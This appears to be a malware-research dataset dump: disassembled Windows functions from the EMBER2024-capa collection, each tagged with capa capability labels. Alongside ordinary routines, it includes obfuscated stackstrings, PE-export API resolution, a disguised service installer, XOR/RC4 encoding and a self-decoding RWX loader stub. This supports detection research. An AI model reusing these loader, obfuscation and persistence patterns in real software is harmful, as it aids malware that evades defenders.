joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4274a7
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x4274fa
push esi
push dword [ebp + 8]
call fcn.0042769a
mov edi, eax
test edi, edi
jne 0x4274ca
mov eax, dword [ebp + 0x10]
jmp 0x42750c
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4274c5
mov eax, dword [ebp - 8]
jmp 0x42750c
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x427d7b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.0041a3a3
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x427db2
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.00427dd3
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x42a90f
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5982b3
call fcn.00552449
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x74], ebx
jne 0x42a935
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x42a994
call fcn.0042a4c8
push eax
lea ecx, [ebp - 0x10]
call fcn.00419310
mov edi, dword [edi + 0x74]
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov esi, dword [eax + 0x8c]
mov ecx, esi
call fcn.0055240c
mov ecx, edi
call esi
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push esi
call fcn.0056fb35
push eax
call fcn.004036e0
add esp, 0x14
test esi, esi
je 0x42a987
push esi
call fcn.00578540
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.004116b0
mov eax, ebx
call fcn.00552412
ret 8
Function at 0x42e232
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x42e277
call fcn.0041a3a3
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x42e277
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x42e293
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004a33ac
mov ebx, eax
test edi, edi
je 0x42e291
test esi, esi
je 0x42e291
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x42ec80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x42ed3e
cmp dword [esi + 0x20], 0
je 0x42ed3e
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x42ed3e
cmp dword [ebp + 8], 0
je 0x42ed3e
xor eax, eax
mov ebx, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
mov edi, eax
call fcn.0041a3a3
push 0x5a53b0
push dword [ebp + 8]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x42ed0f
mov edi, dword [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x42ed3e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov dword [ebp - 8], eax
push dword [ebp - 4]
push ebx
push esi
call fcn.004a6017
add esp, 0xc
mov ebx, eax
cmp dword [ebp - 8], 0
je 0x42ed2f
test edi, edi
je 0x42ed2f
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
test ebx, ebx
je 0x42ed3a
mov ecx, esi
call fcn.0042ea23
mov eax, ebx
jmp 0x42ed40
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4404fc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
test esi, esi
jne 0x440515
call fcn.0041a3a3
mov esi, dword [eax + 0xc]
push 0x5dd5a4
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x44056b
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x44056a
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x44054b
xor esi, esi
jmp 0x440561
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.00440573
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4a7af3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
test byte [esi + 4], 1
je 0x4a7b0d
mov edi, dword [esi + 0xc]
jmp 0x4a7b4d
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4a7b26
call fcn.0042b5d8
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4a7b3b
call fcn.0042b5d8
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4a7b4d
call fcn.0042b5d8
call fcn.0041a3a3
cmp dword [eax + 0x3c], 0
je 0x4a7b62
push edi
mov ecx, ebx
call fcn.004a7187
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004a7d3f
mov ebx, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x88]
test ecx, ecx
je 0x4a7b8b
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
and dword [eax + 0x88], 0
test ebx, ebx
je 0x4a7b97
mov edi, ebx
mov dword [eax + 0x88], ebx
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4d0d8b
Capabilities:
Get file system object information

Disassembly:
push 0x4cc
mov eax, 0x59ae0b
call fcn.0055247d
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.0041ac2f
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x4d0], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x4d0]
push 0
push 0x5a4340
call fcn.0041adb7
cmp eax, 0xffffffff
jne 0x4d0e56
push 0
push 0x5a5cf4
lea ecx, [ebp - 0x4d0]
call fcn.0041adb7
cmp eax, 0xffffffff
jne 0x4d0e56
push 0
push 0x5a33b4
lea ecx, [ebp - 0x4d0]
call fcn.0041adb7
cmp eax, 0xffffffff
jne 0x4d0e56
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.0041ac2f
mov edi, eax
pop ecx
mov dword [ebp - 0x4d4], edi
lea ecx, [edi + 0x10]
mov dword [ebp - 0x4d8], ecx
xor edx, edx
mov byte [ebp - 4], 1
push edx
lea eax, [ebp - 0x218]
push eax
push 0x104
push edx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
jne 0x4d0e33
mov eax, dword [ebx]
mov edi, dword [eax + 0x14]
mov ecx, edi
call fcn.0055240c
mov ecx, ebx
call edi
mov ecx, dword [ebp - 0x4d4]
mov edi, eax
call fcn.004116b0
jmp 0x4d0e8e
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x4d0]
call fcn.004191c0
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.004116b0
mov esi, dword [ebp - 0x4d0]
push 0x105
push 0x2b4
lea eax, [ebp - 0x4cc]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x4d0e7c
mov edi, dword [ebp - 0x4cc]
jmp 0x4d0e8e
mov eax, dword [ebx]
mov edi, dword [eax + 0x14]
mov ecx, edi
call fcn.0055240c
mov ecx, ebx
call edi
mov edi, eax
lea ecx, [esi - 0x10]
call fcn.004116b0
mov eax, edi
call fcn.00552427
ret
Function at 0x516ee8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.0042a859
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x516f24
call fcn.0051710a
mov dword [esi + 0xc], 1
jmp 0x516f29
call fcn.0051710a
cmp dword [esi], 0
je 0x516f72
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x516f4c
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.0042a6d9
jmp 0x516f5d
push 0xff
mov ecx, esi
call fcn.00419010
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.004277d6
jmp 0x516f96
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x516f96
push dword [esi]
push dword [ebp - 4]
call fcn.0043613f
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x51705f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.0051710a
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x5170a7
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0042a6d9
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004277d6
jmp 0x5170b2
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0043613f
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x556894
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edi
and edi, 0xf4e8
pop edi
push ebx
push ecx
add esp, 4
add ebx, 0x11f67
sub ebx, 0x1020b
add ebx, 0x14d6f
pop ebx
push esi
call 0x556894
add byte [esi + 0x35], al
inc ecx
aas
inc edi
inc esi
inc ebx
add esp, 4
pop esi
mov ecx, dword [ebp - 0x6a8]
mov dx, word [ecx]
mov word [ebp - 0x87a], dx
mov eax, dword [ebp - 0x6a8]
add eax, 2
mov dword [ebp - 0x6a8], eax
mov cx, word [ebp - 0x87a]
mov word [ebp - 0x114], cx
mov edx, dword [ebp - 0x6ac]
mov ax, word [edx]
mov word [ebp - 0x92c], ax
mov ecx, dword [ebp - 0x6ac]
add ecx, 2
mov dword [ebp - 0x6ac], ecx
mov dx, word [ebp - 0x92c]
mov word [ebp - 0x28], dx
push ecx
add ecx, 0xac49
jmp 0x5568fc
and ecx, 0x4d76
pop ecx
push ebx
push eax
add esp, 4
sub ebx, 0xb06e
pop ebx
push edx
push ecx
add esp, 4
add edx, 0x9d9e
add edx, 0x3dfb
pop edx
movzx eax, word [ebp - 0x28]
test eax, eax
jne 0x55693e
movzx ecx, word [ebp - 0x114]
movzx edx, word [ebp - 0x28]
sub ecx, edx
invalid
invalid
movsb byte es:[edi], byte [esi]
hlt

Function at 0x5569fc
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edi
push esi
add esp, 4
and edi, 0x3f86
sub edi, 0x559d
jmp 0x556821
pop edi
push edx
push ebx
add esp, 4
jmp 0x55682f
and edx, 0x1ef2
xor edx, 0xae36
pop edx
lea edx, [ebp - 0xc50]
mov dword [ebp - 0x6ac], edx
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x6a8], ecx
push ebx
add esp, 4
or edx, 0x12a2b
xor edx, 0xf05f
xor edx, 0x3a76
pop edx
mov edx, dword [ebp - 0x25c]
mov eax, dword [edx]
mov dword [ebp - 0x25c], eax
mov ecx, dword [ebp - 0x25c]
cmp ecx, dword [ebp - 0x6b0]
je 0x556a3f
mov edx, dword [ebp - 0x25c]
cmp dword [edx + 0x30], 0
jne 0x55680a
mov dword [ebp - 0x188], 0

Function at 0x556b92
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov byte [ebp - 0x4b7], 0x72
mov byte [ebp - 0x4b6], 0x79
mov byte [ebp - 0x4b5], 0x57
mov byte [ebp - 0x4b4], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0xe30], ecx
mov edx, dword [ebp - 0xe30]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe34], eax
mov ecx, dword [ebp - 0xe34]
mov dword [ebp - 0xb60], ecx
push ecx
jmp 0x556bdd
or ecx, 0xc4fb
and ecx, 0x147ad
xor ecx, 0x7a25
pop ecx
push edx
push esi
invalid
invalid
Function at 0x556e33
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
or edx, 0xea28
xor edx, 0x11884
and edx, 0x2e9e
pop edx
push esi
xor esi, 0x11f3c
pop esi
mov edx, dword [ebp - 0x258]
mov dword [ebp - 0x3cc], edx
jmp 0x556ec7
cmp dword [ebp - 0x3cc], 0
jne 0x556f11
push edx
push edx
add esp, 4
call 0x556ee3
add byte [edi], bh
xor edi, dword [edi]
cmp ecx, dword [esi + 0x42]
dec esp
add esp, 4
call 0x556ef2
add byte [esi + ecx*2 + 0x46], al
dec eax
inc edi
inc esp
add esp, 4
and edx, 0x607a
sub edx, 0xfeab
pop edx
mov dword [ebp - 0x418], 0
jmp 0x557a39
push edx
xor edx, 0x12c74
pop edx
push ebx
push ecx
add esp, 4
xor ebx, 0x78a1
add ebx, 0x2c35
or ebx, 0xc7a3
pop ebx
push esi
push ebx
add esp, 4
add esi, 0xf3af
xor esi, 0x79b
pop esi
mov ecx, dword [ebp - 0x3cc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x1b4], edx
mov dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xb6c], eax
cmp dword [ebp - 0xb6c], 0
jne 0x556f82
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], ecx
jmp 0x557273
mov edx, dword [ebp - 0xb6c]
mov eax, dword [ebp - 0x1b4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xb70], eax
jne 0x556faa
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], ecx
std
invalid
invalid
jmp 0x557273
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0xb70]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xb74], edx
cmp dword [ebp - 0xb74], 0
jne 0x556fdc
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], eax
jmp 0x557273
mov ecx, dword [ebp - 0x1b4]
add ecx, dword [ebp - 0xb74]
mov dword [ebp - 0x3d0], ecx
jne 0x557001
mov edx, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], edx
jmp 0x557273
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 0x1b4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0xe38], ecx
mov edx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x1b4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0xe3c], eax
mov ecx, dword [ebp - 0x3d0]
mov edx, dword [ebp - 0x1b4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0xe40], edx
mov dword [ebp - 0x3d4], 0
jmp 0x55705b

Function at 0x5856d1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00585550

Function at 0x5899cb
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0058968b
Function at 0x401010
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push 0
push 0
push eax
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x4014c0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x104
push esi
push edi
mov edi, dword [esp + 0x118]
xor esi, esi
test edi, edi
jne 0x4014e3
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
push ebx
mov ebx, dword [esp + 0x114]
push ebp
mov ebp, dword [esp + 0x11c]
mov eax, dword [0x40b618]
push 0
mov dword [esp + 0x18], eax
push 0
lea ecx, [esp + 0x18]
push 0
lea eax, [ebx + 1]
push ecx
push eax
mov dword [esp + 0x24], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x401552
test eax, eax
je 0x4014f3
lea edx, [esp + 0x10]
push edx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4014f3
mov eax, edi
push 0
sub eax, esi
lea ecx, [esi + ebp]
push eax
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x401552
cmp eax, 0xffffffff
je 0x401552
add esi, eax
cmp esi, edi
jb 0x4014f3
xor eax, eax
pop ebp
cmp esi, edi
pop ebx
pop edi
pop esi
sete al
add esp, 0x104
ret

Function at 0x401d60
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x401d8c
mov eax, dword [esp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x401d80
pop esi
ret

Function at 0x401d90
Capabilities:
Contain obfuscated stackstrings
Get common file path
Move file

Disassembly:
sub esp, 0x21c
mov al, 0x65
push esi
mov byte [esp + 5], al
mov byte [esp + 0xc], al
mov byte [esp + 0x10], al
mov byte [esp + 0x14], al
lea eax, [esp + 4]
push edi
mov cl, 0x6c
push eax
push str.kernel32.dll
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x4d
mov byte [esp + 0x14], 0x6f
mov byte [esp + 0x15], 0x64
mov byte [esp + 0x16], 0x75
mov byte [esp + 0x17], cl
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1d], 0x4e
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x6d
mov byte [esp + 0x21], 0x41
mov byte [esp + 0x22], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x20]
push ecx
push 0
stosb byte es:[edi], al
call edx
lea edx, [esp + 0x120]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x120]
push str.SOFTWARE.LOG
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [esp + 0x120]
push 3
lea edx, [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x401e80
push 5
lea eax, [esp + 0x124]
push 0
push eax
call esi
pop edi
pop esi
add esp, 0x21c
ret
Function at 0x4025d0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
or ecx, 0xffffffff
xor eax, eax
push edi
mov edi, 0x40a04c
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x15
push ecx
push 0x40a04c
call fcn.00401d60
add esp, 0xc
call 0x402660
test eax, eax
pop edi
je 0x402630
lea eax, [esp]
mov dword [esp], 0x40a04c
push eax
mov dword [esp + 8], 0x4021f0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
xor eax, eax
add esp, 0x10
ret 0x10
push str.Provides_support_for_out_of_to_processigb_Transaction_Coordinator_Service.
push str.ASP.NET_State_Servicesqpg_Transaction_Coordinator_Service
push 0x40a04c
call fcn.004026d0
mov eax, dword [0x40b62c]
add esp, 0xc
test eax, eax
je 0x402628
call fcn.00401d90
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
sub esp, 0x108
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
push str.SYSTEMCurrentControlSetServices_
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 8]
push 0x40a04c
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 4]
lea eax, [esp + 8]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg eax
sbb eax, eax
pop edi
inc eax
add esp, 0x108
ret
Function at 0x404410
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x404434
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40442d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x4044c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret

Function at 0x406140
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40615e
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40619f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x10017279
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10017288
pop dword [ebp - 0x48]
mov eax, 0x10017288
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x7952683e
sub dword [ebp - 0x58], 0x2b0022f3
mov dword [ebp - 0x54], 0x926086cb
add dword [ebp - 0x54], 0x9fd2c57a
mov dword [ebp - 0x50], 0x68826d97
sub dword [ebp - 0x50], 0x1c362969
mov dword [ebp - 0x4c], 0x842cf888
add dword [ebp - 0x4c], 0x7bd30778
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x4690b8cf
sub dword [ebp - 0x58], 0xd21e4f79
mov dword [ebp - 0x54], 0x66aec4e6
sub dword [ebp - 0x54], 0x25426371
mov dword [ebp - 0x50], 0xd2347a5f
add dword [ebp - 0x50], 0x913af20d
mov dword [ebp - 0x4c], 0xb22ff3cb
add dword [ebp - 0x4c], 0x4dd00c35
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x392c7
push 0
call eax
mov ecx, 0x435f
mov edi, eax
mov esi, 0xd686f8b7
add esi, 0x397b5149
add esi, dword [ebp - 0x48]
mov ebx, 0x98f1c115
sub dword [ebp - 0x18], 0x818d191e
mov edx, dword [esi]
sub dword [ebp - 0x2c], 0xe0a46bc1
xor edx, ebx
xor dword [ebp - 0x3c], edx
mov dword [edi], edx
xor dword [ebp - 0x1c], edi
add edi, 4
add esi, 0x52fd95e9
add esi, 0xad026a1b
loop 0x1001738f
add eax, 0x2752980b
sub eax, 0x275197bc
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x90f32bc9
sub ecx, 0x80f32bc9
add ecx, dword [ebp - 0x48]
call ebx
leave
ret